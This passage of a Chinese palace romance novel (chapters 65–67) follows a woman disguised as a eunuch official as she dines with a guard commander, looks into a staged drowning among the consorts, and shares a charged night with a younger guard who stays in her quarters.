自俞贵妃生病后,怡妃的处境似乎好了许多,没有再被人刻意刁难,皇后也逐渐开始主持一些后宫事务,听闻她近来亦对怡妃颇为关心照拂,阖宫上下似乎都指望着怡妃能为皇帝生下一位皇长子。 至于皇后…… 白惜时其实一直有处想不明白,俞贵妃不是一个城府极深之人,既然之前后宫争斗之中皇后能被打压至此,而俞贵妃一直占据上峰,除却皇帝的宠爱外,应当代表着皇后亦不是一个老谋深算之人。 但自那次宫女之死后,皇后近来表现的虽低调,却不再像一个隐形人,且几件事宜处置的都很稳妥,仿佛……脱胎换骨一般。 正兀自揣摩间,白惜时忽感一道视线似乎一直跟随着自己,一抬眼,才发现是小宫女扶疏。 此刻她亦于殿外等着自己的主子,顺带笑意盈盈望向白惜时,不过因为是在御前,小宫女亦不敢太过造次,只在白惜时望过来的时候高高兴兴唤了一声“掌印”。 “嗯。”白惜时颔首应了一声。 不过就只这一声,似乎也让小宫女心情更加美丽,由于小宫女笑得太甜,甜到白惜时想忽略都忽略不了,遂……稍稍走远了一些,改为踏着阶梯往凭栏之下行去。 双方都为女子,扶疏的这种心意,她实在无法回应。 不过平日里白惜时虽时常出入勤政殿,倒是很少有机会能于周围闲逛,今日在此一转悠才发下玉石阶旁不知何时摆放了一面能反光的琉璃镜,应当是前不久外邦使者进贡而来。 走下最后几截玉石阶梯,一步步绕于那面镜前,白惜时打量着此刻镜中的自己,唔~怎么说呢,还算满意,现在看上去有点趋近于自己理想中的斯文败类了。 刚当上厂督那会,分寸时常拿捏不准,勾唇一笑自以为邪魅狂狷,结果揽镜自照,无语凝噎,像个二世祖当街骚扰二八少女。 后来索性就笑得少了些。 思及此,白惜时左右一瞥,索性四下无人,便又尝试着露出一个阴恻恻的笑,啧,不错,有点道貌岸然的味道在里面了。 满意地观摩了一阵,继而又想到有没有可能不是自己拿捏的准,而是相由心生,白惜时神色一凛,很快又换了一种笑,很自然的那种……还好还好,自然了看着就正常多了,看样子宫中这段时日还不足以将自己憋成个心理变态。 白惜时于镜前打发了一会时间,这时候才倏然发现左右确实无人,但上头好像又莫名添加了一道视线,第一时间掀起眼皮,白惜时预备用掌印的威势吓退窥视,没成想,却意外撞进了一双含着浅笑的眸。 “……” 解衍此时正于勤政殿外例行巡视,走到凭栏处,恰望见一个人于镜前露出会心一笑。 视线交汇间,夕阳正要落山,从白惜时的角度望过去,便像是在解衍的身后铺上了一层温暖和煦的光。 连带着将他望过来的眼神都被浸染成缱绻温柔的颜色。 白惜时不知他看到了多少,又看了多长时间,总之,若是旁人看过来她反倒泰然自若理直气壮,无非就是照个镜子,怎么,掌印不能照镜子吗? 但若是换成解衍……便感觉有些怪怪的,不得不承认她还是有那么一丁点在意方才行为是否折损了在对方心中光芒万丈的掌印形象。 从短暂的错愕反应过来后,白惜时占据主动,仰起头瞄着解衍,继而一偏头,示意他快走,别到时候把一群人都引过来瞻仰风姿。 然而就在她做完这个动作后,便听男子身后传来一个声音—— “解兄,你在看什么,可是有何处不妥?” 相顾无语间,白惜时又用眼神催促了解衍一次。 而男子冲他安抚般地轻摇了下头,依旧笑看着白惜时,头都没回便答道:“没有,看琉璃镜而已。” “琉璃镜有什么好看的?你在上头又照不见,若是想看等下值再去。” 不好看吗? 闻言又忆起方才白惜时扬唇自顾的模样,比这夕阳还要灿烂几分,接下来这一句倒不像是回答身后之人的,解衍望进那双漂亮的眼睛里。 “好看。”他缓缓开口,就这样对琉璃镜前之人说了这样两个字。 白惜时:“……” 糟了,这小子有点好像本事。 “什么?” 身后之人似乎是发现解衍开了口,但又没有听清,正准备走过来一探究竟,然而此时听见脚步声的解衍迅速转身,横出手臂截住来人,继而自然从容的拦住对方肩胛向后带去。 “走吧,还有另一侧没巡,抓紧时间。” 临走前,白惜时听见他对另一人如是说道。 待到白惜时从勤政殿出来,重回司礼监,天已经完全黑了下来。今日因怡妃到访加上事务繁忙,确实比平日要晚了一些。 见到汤序才得知滕烈原来今日在内堂等了她大半个时辰,最后直到宫门就快落钥才不得不先行离去,并托汤序留话给白惜时,约她明晚于观戏楼内详谈。 让人白跑一场的确不好意思,何况知道滕烈亦诸事缠身、难有空闲,因而白惜时便也将部分不重要的事向后推了推,预备空出明日夜里的时间,正好结束还可回府中一趟。 想到这又觉得观戏楼这地方实在选的不错,亦可吃饭谈事,又可观戏放松,不过就是不大像滕烈会选之处,那里一般都是些年轻公子和各年龄段女子喜好光顾的地方,概因上演的也都是些爱恨纠葛、复仇虐恋的戏码。 倒不是说滕烈不年轻,就是觉得他应该没这根筋。 因而略一思索,白惜时神色稍凝,想到了一个最有可能的理由——该不会是有什么线索或案犯会出没于那里? 第65章 第65章 白惜时到达观戏楼的时候,目光被门口的十二大字吸引——“观尽众生百态,纵览人间风月”。 挺不错,这名字听起来就有些意思。 进门后报上名讳,被店家热情告知滕烈已在二楼雅间等候,白惜时穿过回廊,踩着阶梯一边向上一边观察着店内陈设,这里头比她预估的还要大,锦鲤浅游,团花铺路,很是典雅清贵的一副景致,确实也是个适合听风问月之地。 只不过,很难想象这会是滕烈会选择的地方。 推开门,绕过屏风后,一脸冷肃的男子坐于雅室之中,听见声音侧首望过来,白惜时见着此人的第一眼,觉得滕烈实在不像是来听戏的,反倒像是来例行公事检查的。 谁来这种地方还能将一把佩刀这么显眼的拍在桌面上? 是担心吃饭听戏会影响他抽刀的速度吗? 不过这些话白惜时也就是心中吐槽,很是有些良心的没有说出口。 坐下来后,又饶有兴趣地望了眼四周,白惜时才摆正神色道:“指挥使约我于此处见面,可是发现这观戏楼有什么蹊跷的地方?” “不是。” 男子说完这句话停了片刻,将手边的菜色单子一推,给白惜时递了过去,“先点菜。” “不知掌印喜好口味。” 闻言,低头看看那菜单,又看看对面之人,不过白惜时这会倒是真饿了,既然不是这店有问题,那便吃饱饭再说。 唤来小二点了几道特色菜,白惜时又问过滕烈意见,加了份鲜汤,很快便将菜色定了下来,待小二退了出去,白惜时没忘记此行目的,与他谈起了赵岳。 “指挥使近来可发现赵岳有什么异常之处?” 滕烈:“偶有走神,看上去心事颇重。” 确实如此,那日赵岳离开后,白惜时也从江小锁那了解到赵岳近来时常会做噩梦,两人同屋,小锁有好几次半夜都听见对方睡得不踏实,甚至半夜直接从床上惊坐起来。 她亦过问了赵岳近来接触之人,与之前无异,唯独有区别的,就是期间被叫去见了两次太后。 听闻太后第一次召见赵岳,是于内学堂附近偶遇,只因他曾是重臣之子,因而太后更为惋惜了些,说的也都是些安抚鼓励之话,并无什么特殊。 至少在近旁伺候的小太监是如此向白惜时禀报的。 除此之外,太后还对赵岳说过什么,她亦不得而知。 不过她总觉得近来后宫虽看起来太平,却隐隐有暗流涌动之势。 包括太后特别关照赵岳一事也让人觉得有些蹊跷,不知是不是自己想多了。 看见白惜时逐渐蹙起的眉,滕烈开口,“前些日子是我忙于事务,疏忽了赵岳,日后会多加关注。” 白惜时闻言一摇头,“这事与指挥使无关。” 滕烈之前能帮忙开导,让赵岳能够接受自己内宦的身份已经算是够意思,他本就没有义务继续帮自己带徒弟。 “有关。” 然而男子在听完后却果断地抛出了两个字,当白惜时望过来,才又说出后半句话,“赵岳也算是我的半个徒弟。” “这倒也是,他向来更听你的话。” 说着话的时候,雅室的门再次被推开,小二端着一应菜色上前,白惜时腹中空空,眼下望着冒着热气的佳肴,终是吐出一口浊气,“算了,也可能是我多虑了,少年人心性,反反复复也有可能。” 与滕烈一起吃饭,若是公事谈完,便会显得有些沉默,因为对方实在不是个喜好说话之人,又似乎自小养成了食不言寝不语的习惯,因而一时之间,雅室当中只有杯盘触碰发出的轻微声响,倒是外头正上演的戏码和喝彩之声给此处增添了一些背景音,不至于太过安静。 不过白惜时竟然觉得还挺适应,如今与滕烈这样相对坐着,不说话竟也不会觉得尴尬。 但白惜时没他那么讲规矩,连吃饭都吃的专心致志,两耳不闻窗外事。 白惜时一边吃一边饶有兴趣地看戏,今日楼下上演的应当是一场男子科举高中抛妻弃子,求娶权贵之女的戏码,白惜时平日也颇爱狗血,难得有这样的闲工夫让她一饱眼福,因而饭吃完了也没急着走,留在雅室内继续品味那泼天的狗血。 只是看到一半,突然想起来雅室内还有一人,侧首望过去,果然此人连台下那戏看都没看一眼,此刻正望向自己。 白惜时很快领略了对方的意思,“指挥使若有事便先走吧,我再于此处坐一会。” 滕烈与此处格格不入,估计他早就呆不下去了。 然而男子的回答却出乎意料——“无事。” 闻言才将目光又从戏台子上转了回来,白惜时:“你既不喜欢,于此处岂不浪费时间?你我二人也认识这么久了,不必讲究这些,想走便走罢。” 似是被白惜时一通话噎住,男子许久没有出声,但亦没有离开的打算,就这么静默地坐在一旁,过了一会,见白惜时手边的核桃仁盘子空了,才起身,朝对面说了一句,“我出去一趟。” “唔~好。” 白惜时正看到两女对峙争抢渣男的重要戏码,没放在心上,一点头,只当是滕烈终于耐不住无聊要出去走走。 男子推开雕花木门,踏了出去,外头比较喧嚣吵闹,不如雅室之中安静,甚至还有售卖花束的小姑娘穿梭其中,看见年轻男女便上前推销售卖。 不过滕烈一身冷冽,又是独身一人,被他的气场所摄倒是无人敢上前来烦扰。 找到小二又让她送了些核桃、杏仁并清茶去往二楼,交待完后,滕烈正要返回之际,余光却于人群中瞥到了一个意想不到的身影,继而脚步一顿,神色微凝,男子略一思索便抬步跟了上去。 此刻一楼厅堂内仍有许多卖花的小姑娘,年龄最小的也最怯懦,鼓起了好半天的勇气才凑上前去轻轻捏住一位年轻男子的衣角,“公子,给姐姐买枝花吧,今天新鲜刚采摘的可漂亮了。” 然而那公子理都没理会小姑娘,用力将衣角从她手中一抽,还嫌恶地拂了拂上头不存在灰尘。 小姑娘被对方用力的动作牵扯,一个没站稳便撞上了身后之人,再一抬头望过去,整个人犹如被冻住般屏住呼吸,连一句话都不敢说了。 她畏惧又害怕地望向滕烈。 低头瞥了眼突然撞上来之人,误以为要向他卖花,眼下追踪在即不欲多费唇舌,男子遂冷冷丢下句“找错人了”便径直绕了过去。 一朵花都没卖出去,家中生病的母亲还等着她带吃的东西回去,此刻被人推了一把,又被那个冷冰冰的大人凶了一句,小姑娘一伤心害怕,眼泪吧嗒吧嗒便掉了下来。 揉着眼睛站在墙角边哭了好一阵,将满心的委屈失落都哭了出来,她才用满是冻疮的手默默将眼泪擦干,擦完了准备继续尝试去卖花,只是还没捡起地上的篮子,便发现面前已然停下了一双黑子的锦靴。 一抬头,小姑凉嘴巴一瘪,险些又要哭出来,呜呜呜又是那个冷冰冰的大人。 蹙着眉头看向墙角之人,滕烈一言不发,片刻之后,只拿出一锭银子放入对方手中,继而取过了那一整篮的腊梅。 小姑娘懵懵懂懂,看看银子,又看看花篮,反应半晌才明白过来是什么意思,一双大大的眼睛很快由悲转喜,在庆幸突如其来的运气之下,她听见对方问了自己这么一句话。 声线依旧没什么温度,“长冻疮,可是很疼?” 魏廷川提过,白惜时小时候亦是满手冻疮。 小姑娘这回已经不再那么怕他,狠狠点了点头,“嗯,疼的。” 听完高大的男子没再说什么,调转步伐,长腿一迈,很快消失在了二楼尽头。 …… 滕烈再回来的时候,手中多了一大篮各种各样颜色的腊梅。 此时楼下的戏剧已接近收尾,白惜时亦有功夫望过来一眼,但这一望,便定格在了当场。 怎么说呢,画面有些异想天开般的惊悚,一个不苟言笑,周身气场向来冷肃冰封的男子,此刻手中握着的不是冰冷的刀锋,而是一篮山花烂漫般的腊梅。 白惜时定格半晌,才找回自己的声音,“哪来的?” 滕烈:“买来的。” 白惜时的眼神更加古怪,“指挥使买花做甚?” 滕烈却没有回答她这个问题,而是径直将那篮花搁在桌上,转而提起遇见的那位意想不到之人,“我方才在观戏楼见到了祈王。” 听他如此一说,白惜时果然收起玩笑打探之心,正色道:“祈王?一直卧病在床的那位祈王?” “正是。” 祈王是皇帝同父异母的弟弟,近些年来一直身体抱恙,因而留于京中养病并未去封地,前些日子的太后寿辰他都因病推脱没有参加,但此刻却能出现在此,确实有些奇怪。 难道他一直都是在对外装病? 思及此,白惜时与滕烈互看一眼,二人确实从中嗅到了一丝不同寻常的味道。 要知道,当今太后并非皇帝生母,而是中宫皇后,中宫一直无所出,所以才立了当今圣上为太子。而祈王,则是当初太后身边的一位宫女所生,生下来后便养在太后身边,因而祈王也算是与太后最亲近的一位皇子。 但,如此亲近,祈王没体力参加太后生辰宴,却有体力来这观戏楼消遣吗? 二人重新坐回椅凳之上,白惜时与滕烈一番商议之下,谋定先于暗中观察祈王,待到若真有发现不妥之处再向天子禀报,以免贸然回禀带出乌龙,也极易影响天家感情。 待到商讨结束,此刻楼下的戏也已收场落幕,二人准备离席归家之际,才发现还有那一大篮的腊梅没有处置。 滕烈走过去,拿起花篮问白惜时,“此花于我,是否不大合适?” 白惜时难得委婉,“倒也没什么合适不合适,就是和指挥使的冷硬不太协调。” 滕烈点头,“那便赠与掌印。” 白惜时一脸惊诧,“送我,送我就协调了?” 男子却没再接话,而是直接抬臂将花篮递了过去,待白惜时接下,他略一后退观摩片刻,继而薄唇轻启,语气中亦少了一丝平日里的寒。 “此花于掌印,颇为相宜。” 第66章 第66章 白惜时将那篮腊梅带回了府中,挑了几枝插于瓶中,临窗傲雪,倒是颇为应景。 孟姑姑看着这么一大篮子的腊梅,有些稀奇,“这么晚了,谁送掌印的花?” 白惜时一边净手一边道:“同僚看着一个卖花的小姑娘可怜便都买下,他拿回家不合适,便给了我。” “掌印的那位同僚倒是位心善之人。” 闻言笑了起来,孟姑姑将剩下的腊梅拿出去一起布置,又从中间挑出两枝罕见的绿梅,“这颜色倒还清雅,也罕见的紧,掌印不如明日一起带回司礼监插起来吧。” 白惜时仔细一瞧,确实独特,遂点了点头,“也好。” 孟姑姑,“对了,眼下天越来越冷了,今日我还让解公子带了床新做的褥子给您送过去,掌印可有收到?” 解衍今日去司礼监了? 那应当是傍晚时分去的,今夜他正好当值,不过白惜时今日出宫的时间早了些,二人并没有遇上。 想到这白惜时看向孟姑姑,“没有。不过司礼监一应俱全,姑姑不用事事这样劳心。” “那怎么能一样?掌印毕竟是女儿身,冬季尤为要带暖一些,他们那些小太监又怎么会知道要注意这些。” 说到这孟姑姑便心疼地望向白惜时,“一去司礼监这么些时日,掌印都瘦了。” 一看见孟姑姑这眼神,白惜时便败下阵来,立马安抚承诺,“好好,姑姑别再忧心,明日我回去就定将那床新褥子铺起来。” …… 第二日回宫的时候,白惜时将那两枝独特的绿梅带回了司礼监,宫中并无绿梅,想着置于内堂未免太过显眼,遂找了个花瓶,放在了暖阁的花架之上。 摆弄好花瓶,才看见一旁的罗汉床上整整齐齐放着一床新垫褥,记起孟姑姑昨夜的话,白惜时出来之后问汤序,“解衍昨日来过?” “是。” 汤序:“掌印您前脚走,解大人后脚就到了,奴才告诉他指挥使相邀,您今夜应当不会回宫,他知道后将褥子转交给奴才便当值去了。” 这话怎么听着还有点歧义,什么叫指挥使相邀她今夜就不回宫? 白惜时听完看了汤序一眼,引起警惕,“咱家的行踪你如今都这般事无巨细向人透露?” “奴才不敢。” 汤序听完立即躬身请罪,但停了一会,又问道:“可他是解大人啊,掌印,解大人也不能说吗?” 白惜时听到这自己都有些好奇,外人到底是如何看她和解衍的。 “解衍有何不同?” 汤序:“他是唯一一个进出司礼监内堂不需通报之人,这难道不代表掌印对他的信任吗?” “……” 理,好像是这么个理。算了,解衍知道确实没事,汤序不说解衍今日应当也会问自己,她亦会如实告知。 不过为防其他有心之人打探,白惜时还是又与汤序强调了一遍莫要向外人轻易透露她的行踪。 汤序严肃应是,末了又极为认真地问了一句,“掌印,那解大人应当不算外人吧?” 白惜时听完,淡淡暼了对方一眼,“……自己想。” 汤序凝神细思,觉得应当不算。 你看他昨日都透露给解大人了,掌印这不是也没怪他? 想着既然解衍昨日未找到自己,今日必当会来司礼监一趟,然而于前朝忙碌了一天回来,直到天快黑下来白惜时依旧未见男子身影。 烛火初明的司礼监内堂中,白惜时于案几前抬眸,看了眼计算时间的沙漏,现下快到换班轮值的时刻,看来这小子今日的确没打算过来,倒是自己估计错了。 低下头,继续处理未完的案册,没过一会却闻一阵脚步声匆匆传来,继而有小太监叩门来报,说是后宫出事了,有宫女被罚跪的时候晕倒落湖,恰被御驾经过瞧见,正命侍卫下湖相救。 而救人的侍卫当中,解衍也在其列。 白惜时闻言放下狼毫,起身拿起披风,想了想,又多带了一件厚实的外袍,继而对汤序道了一声,“走,去看看。” 许多时日未涉足后宫,在前往出事地点的路上,小太监已经将事件的大致经过向白惜时禀明。 原来,今日宫女篮英因惹恼俞贵妃,被罚跪于御花园的河岸边,在冷风中跪了大半个时辰,后因体力不支竟直接落于湖内,恰被经过的皇帝皇后看见,命人及时相救,好几个御前侍卫一起跳下才将那宫女从冰冷的湖水中捞起,暂时摆脱了性命之忧。 而宫女蓝英则是芳贵人的贴身婢女,近来因怡妃有孕,芳贵人颇得圣宠,蓝英的身份自然也跟着水涨船高,在后宫很是有些脸面。 但今日不知因为何事,这宫女竟与贵妃于御花园内起了冲突。 白惜时赶到的时候,夜幕降临的御花园灯火通明,被救上来的宫女已经被送回了芳贵人的寝殿,而芳贵人此时也已闻询赶到,正一把鼻涕一把泪的向皇帝哭诉。 “皇上,您可得为臣妾做主啊!蓝英不是旁人,她可是臣妾从家中带进宫的陪嫁丫鬟,从小一起长大情同姐妹,她若是出了个好歹,臣妾,臣妾也不想活了!” “臣妾若是有什么得罪贵妃娘娘的地方,她直接惩罚臣妾便是,又何必拿一个小丫鬟出气,皇上您说是不是呀。” 话里话外,都是俞贵妃嫉妒自己近来得宠,故意为难蓝英。 白惜时一边听,目光一边于人群中逡巡,很快在不远处的一棵松柏看见了浑然已然湿透的男子。此时他正谢绝一位小宫女递来的暖手炉,步履匆匆,看样子是不欲久留,要往腾镶左卫的内值房走去。 白惜时见此情状,冲汤序使了个眼色,汤序得令,很是有眼色的追了过去,叫住解衍,并将白惜时多带的那件外袍交给了男子。 男子很快也穿过人群望了过来,在对方的目光下,白惜时朝他示意了眼司礼监的方向。 左卫的内值房只供人更衣暂歇,并没有沐浴取暖之地,而解衍当下的情况还是最好先洗个热水澡,再喝碗姜汤暖一暖,如此也避免受寒生病。 两两对望之中,解衍亦朝湖边看了一眼,继而几不可察的冲白惜时一摇头,随后调转步伐,在汤序的引领下先行前往司礼监。 白惜时看懂了解衍的意思,他是在告诉自己那宫女坠湖之事恐有蹊跷,让她不要贸然牵扯其中。 此时芳贵人亦哭诉完毕,皇帝蹙着眉头好半天都没有说话,这个时候只听皇后温声道了一句,“圣上,此事不可只听信一面之词,眼下可需叫贵妃娘娘也来问上一问?或许是有什么误会。” 天子沉吟片刻,“入夜天气寒凉,她身子骨不宜吹风。这样吧,皇后、芳贵人与我同去趟翊坤宫,其他人便都散了。” “是。” 待到皇帝重回御撵,预备往俞贵妃处行去,这时候才看见同欲随众人离去的白惜时,想了想,还是叫停轿撵,冲对方一朝手。 “惜时一起。” …… 白惜时并没有进到翊坤宫内殿,一来俞贵妃并不想见到她,方才看到白惜时的第一眼她便怒目而视、愤而转身,白惜时自然不会再去讨那个没趣。 二来清官难断家务事,妃嫔之间的纷争她也确实不宜插手过多。 何况,还有解衍的提醒在前。 既然皇帝让她来,那她便于门口听着知晓来龙去脉,若是皇帝到时候真问起她的意见,也好给个至少在自己看来公允的回答。 不过听着听着,她就知道俞贵妃如今处境并不大好。 因为她受宠太久了,一朝稍稍被削弱,反而更要脸面怕被看轻,一要脸面就会更加强势,在皇帝面前也不愿低头,如此皇帝有心偏护,亦力不从心。 芳贵人摆明了示弱设套,句句“不知哪里得罪了姐姐”“蓝英她只是想去太医院帮臣妾求一碗承子汤,心急了才不小心冲撞姐姐”…… 而这无异于往久未有孕的俞贵妃心上戳刀,贵妃听完只顾冷笑,在得知那宫女落水后亦气焰不减,“罚得就是你们这对不知天高地厚的主仆!” 而除此之外,还有看似公允的皇后从中调和,将天子架在那里,实在不好明目张胆的偏袒。 最后,此事吵吵闹闹,以俞贵妃被罚俸半年了结。 这其实不算是个严厉的处罚,然而俞贵妃却仍气得对皇帝满脸哀伤失望,为了所谓的脸面,连圣上都没有好好理会。 可此人是天子,不是可以普通撒娇使性的夫君,俞贵妃却似乎始终不愿意看透这一点。 回往司礼监的路上,白惜时提着灯笼,独自望向这黑夜之中更显巍峨可怖的皇宫,继而,莫名慨叹一声。 有权势的地方就有争斗,即便拥有帝王盛宠,看来也难逃倾轧算计。 宫女落水一事是俞贵妃的错吗? 看上去,是。 但芳贵人口口声声的与丫鬟情同姐妹,却受罚不闻、落水才至,又实在像是利用俞贵妃的弱点,故意给她设下的一环。 那么一环已至,可还会环环相扣? 白惜时不得而知…… 待回到司礼监,白惜时的心情因受到影响,眉头亦微微蹙着,直到看见已然沐浴完毕,正于案几前帮自己整理案册的男子,心情似乎才好了一些。 “别在这忙活了,今日到底怎么回事?” 一边看着对方背影一边跨过门槛,白惜时瞧着解衍此刻仍披散着一头半干的湿发,想着为免寒气入体,需得快些烘干,而暖阁热气更旺,因而不假思索便带着男子往内堂之后行去。 而解衍看着白惜时动作,怔忪般在门口顿了片刻,继而侧头又望了眼外头漆黑的天色,耳根莫名一红,最后在白惜时回望过来的不解眼神中,才抬步跟了上去。 不过一入暖阁,目光倒是被那瓶绿意盎然的花枝吸引,男子笑问了一声,“掌印何处得来的腊梅?颜色颇为不同寻常。” “昨日别人给的。” 目光一凝,若有所感,解衍面上的笑容似乎也淡了些,“……滕烈?” “嗯。” 随口聊天般的对话白惜时没太放在心上,此刻走到罗汉床边,想将孟姑姑送来的垫褥搬开让解衍坐下,不过搬到一半,便被男子接了过去,“我来吧。” 交接的过程中,双方难免挨得近了些,直到这个时候,白惜时才感受到对方身上传来的源源热意,应当是刚沐浴过暖阁内地龙又烧得旺,解衍现下整个人似乎都挺烫的。 “你很热?”白惜时退开一步,问了句。 解衍将垫褥重新置于一把圈椅内,转过身,抹了下额上沁出的汗珠,“有点。” “热了你便脱件上衣。”示意他就坐在罗汉床上,白惜时倒了杯茶给对方递过去。 然而这一句话出口,解衍指尖一蜷,下意识侧首看了眼自己方才脱在椅凳上的外袍,拿着茶水的手半晌都没有动作。 也不喝,也不放下,就那么端着,整个人仿佛陷入了一种艰难抉择的状态。 脱,还是不脱呢? 见此情状亦觉出不对,白惜时看着对面沐浴过后似乎更加顺眼了些的男子,补充问了一句,“你里头穿了几件?” 解衍抬眼,“只这一件。” 说完了目光也未移开,仿佛白惜时只要肯再劝他一句,他就能下定决心。 “……” 白惜时:“……那你继续穿着吧。” 第67章 第67章 本来好端端预备讨论正事的氛围,在白惜时一句随口的“脱衣服”中,莫名往奇怪的方向发展而去…… 此刻男子一身白衣,墨发披垂,脖颈上还贴着几缕半干的湿发,没一会,那上头的水滴更像挂不住般滴落,顺着肌理往衣襟的更深处流去。 再加之眼下解衍正坐于一张可供人休憩的罗汉床上,双腿微敞,坐姿带了些随性,但眼神偏偏极为认真地盯着白惜时,一副白惜时只要让他做什么,他就能做什么的架势…… 不知为何,莫名让人感觉到了一种人夫感。 等意识到自己在想什么,连带着白惜时此刻都觉得有些热,这地龙确实烧的太旺了些。 直觉这样的感觉不对,白惜时起身,往暖阁外走去,“我去叫人少添些柴禾。” 等走出去后,被外头的冷空气一吹,白惜时身上的那股热意也消散了不少,吩咐完后她并没急于返回,而是走到案几前,将剩下的几本奏章先处理完。 白惜时在内堂停留的时间不算短,大概有半个时辰,期间解衍一直没有出来,不知道在里头做些什么。 待估摸着时辰差不多,白惜时再次返回暖阁,这时候感觉里头的温度明显降下来不少,方才那莫名其妙的氛围好像也随之散去,只是罗汉床上的男子仍旧是原先的姿势,此刻正目不转睛盯着花架上那两枝绿梅。 连白惜时进来都没有发现。 径直走过去,坐回之前的椅凳,白惜时看看解衍,又瞥了眼花架,“看什么这么入神?” 闻言一顿,男子很快移回视线,转而望向白惜时,笑了起来,“没什么。” 白惜时:“你先前在御花园,为何要冲我摇头?” 闻言眉心微蹙,解衍:“我直觉落水的宫女应当会水,意识也不至于昏迷,救她的时候她亦十分配合。” 一般情况下,真正不会游泳之人溺水被救之时会乱抓乱抱,但那个宫女没有,并且从身体表现来说,也不是失去意识后的反应。 白惜时:“你的意思,是怀疑她是故意落水?” 解衍点头,“有可能。” 如此一来,倒是与白惜时之前的猜想相吻合,这更像是一个给俞贵妃设下的局。不然为何偏偏跪在河边,偏偏又早不落水晚不落水,正赶到皇帝经过她便落于水中? 宫后争斗,亦是勾心斗角,处处算计。 那这一切,可又是皇后的布局? 至少在目前看来,俞贵妃的存在最能够威胁到的便是皇后的利益。 考虑到若是真有人在贵妃并未再害人的情况下想要置她于死地,白惜时出于对皇帝负责,也很难做到袖手旁观。 即便现在皇帝与贵妃之间有隔阂有矛盾,但这一切都建立在贵妃还好好活着的基础上,俞贵妃若是出事,对天子的打击会很大。 微时感情不可替代,白惜时知道,那其实才是他心目中真正认定的妻子。 至少若真有不妥,她需得向天子提个醒。 因为解衍的一句话,白惜时陷于自己的思绪当中半天没有说话,等再反应过来的时候,发现男子正坐于对面耐心地望着自己。 此刻见她终于回神,解衍才问道:“掌印可是发现了什么端倪?” 确实是发现了一些不对,不过后宫之事她自己都不想牵扯太深,便更不想拉上解衍。 遂一摇头,“不算什么端倪,总之再观察观察便是。” “嗯。” 一声回应之后,此话题到此结束,但结束过后,又是良久的沉默,不知是地点不对还是时间不对,反正就是感觉哪哪都不大对,平时相处起来轻松随意的两个人,这个时候却都没有说话。 或者是知道接下来将要说到什么,所以没有人先开那个口。 最后经过白惜时多年经验判断,之所以现在哪哪都不对,特别是解衍那副静而不发的克制收敛反而让人更加觉得暧昧性感,问题应该是出现在光线上,昏昏黄黄的光线看起来就不清不楚,遂起身,拿起一盏烛台,她开始将暖阁之中的所有烛火都点亮,点到灯火通明,光明正大。 点到身正不怕影子斜。 在白惜时忙于点烛火的间隙,背后之人也终于开了口,他低声说了一句“眼下宫门已经落钥。” 点灯的手微微一停,复又将火对在一起,白惜时淡定“嗯”了一声。 见对方没有正面回应,解衍在白惜时看不见的地方垂首一笑,碎发遮住他有些黯淡的眉眼,继而像是已经提前知道答案,男子双手一撑,便欲起身。 然而在他尚未完全站起之际,白惜时又恰在此刻回过头,问了他一句,“你想说什么?” 解衍:“我是想问,今晚可否借宿于掌印的暖阁?” “卫所没有睡觉的地方?” “有,不过应当已被占满。” 今夜下水的侍卫不止解衍一个,确实也会有人像解衍一样选择留宿。 听到这烛台似乎也没有继续点下去的必要,白惜时彻底转过身,看了一眼那空空的罗汉床,以及方才起身已欲拿起外袍的男子,顿了片刻。 “那便别在那杵着了,过来帮咱家搬被子。” 一句话,解衍怔愣在原地,继而眉目舒展,几步迈过去跟在白惜时的身后。 “别离咱家那样近,你身上还是热。” 看着心情明显变好,变好到站在衣柜前就快要贴于自己后背的男子,白惜时微微让开一步,瞥了他一眼。 闻言莫名看向周身,解衍现下已经没有流汗,不知怀揣着什么心思,男子紧跟着问了一句,“有多热?” “很热很热。” 咱家说热就是热! 不欲再与他多掰扯热不热的话题,以免气氛又如脱缰的野马往那不可预期的方向行去,伸手替他打开了一扇柜门,示意里头的薄被可以供解衍使用,继而又告诫他半夜不要发出声响,以免打扰自己睡觉,说完这些道了句“自便”,白惜时便径直越过暖阁,往里头的卧房行去。 两个房间,被一道没有上锁的雕花木门隔开。 望着白惜时离去的背影,男子启唇一笑,继而抱出被子,走回罗汉床边安置床榻。 待熄灭多余的灯盏,躺于暖阁之中,身上的薄被轻覆,鼻间萦绕的是雨后雪梨的清浅香气,解衍整个人似乎也被淡淡的温暖包裹,内心袭来一股前所未有的安宁。 然而在就快要闭上眼前,视线莫名一动,又触及到花架上的那两枝绿梅,男子内心的那股安宁似乎在此刻被打破,他睁着一双晦暗不明的眸又看了片刻,继而翻身向内,隔开了视线。 但过了一会,男子已然阖上的眼复又睁开,平躺于罗汉床上缓缓起身,一望卧房的方向,迟疑片刻还是掀被下床,将那瓶碍眼的绿梅收到了椅凳之后看不见的地方,如此这般才稍觉平复,继而重新回到床榻之上,阖上了眼。 被熟悉又好闻的气息包围,男子很快沉沉睡去,但白惜时却一直没有睡着。 除了孟姑姑在旁,房间之内若是有其他人,她内心的那份警惕犹在,因而辗转反侧几个来回仍大睁着双眼,毫无睡意。 睡不着就容易胡思乱想,思来想去,把近期的事都在脑海中过了一遍,眼看着就快接近午夜,白惜时又后知后觉想起解衍傍晚落于寒水之中,眼下地龙烧得没那般旺,不知到了这时候会不会夜间起烧。 一般话本上都是这般写的,应当也有些现实依据。 侧耳倾听了片刻外室动静,左右睡不着,那便姑且出去看看。 重新将束胸收紧裹好,白惜时起身披了件外袍,推开房门,轻手轻脚走了出去。 此刻暖阁内只点了一盏烛台,眼看就要烧尽,发出微弱的暗光,想着那床被褥可能不够,正欲折去椅凳上拿那一条常用的薄毯,不料脚底突然被什么东西绊了一下,发出清脆的磕碰之声。 低头眯眼一看——花瓶? 这插着绿梅的花瓶怎会摆在这个地方? 思及此,抬眸又看向罗汉床上的男子……应当是这个家伙干的好事。 看样子这声音倒是没将男子吵醒,白惜时拿了薄毯便朝床榻边走去,解衍此刻睡得很安稳,正发出均匀的呼吸声,伸手朝他的额头上探去,还好,没有起烧。 果然年轻就是体质好。 收回手后欲将薄毯搭于他的被褥外便离开,但是还没动作,白惜时便感觉另一只撑于床边的手突然被什么温热的东西包裹住了。 握得还很紧,在倏然一惊之后,她很快明白过来那是什么。 …… 那是男子方才搭在床边的左手,此刻,正在黑暗之中一声不响叩住了她的。 垂下眼皮,白惜时看了一眼二人交握的掌心,继而抬眸,再看向此刻睡得还是很像那么回事的男子,差点给他气笑了。 装睡装得还挺像。 “解衍。”白惜时启唇,开始叫他的名字。 然而男子一无所觉,仍旧闭目沉睡。 “解衍,解衍。”白惜时伸手去推他。 仍旧无动于衷,唯有握着白惜时的手反而像是更紧了些。 …… 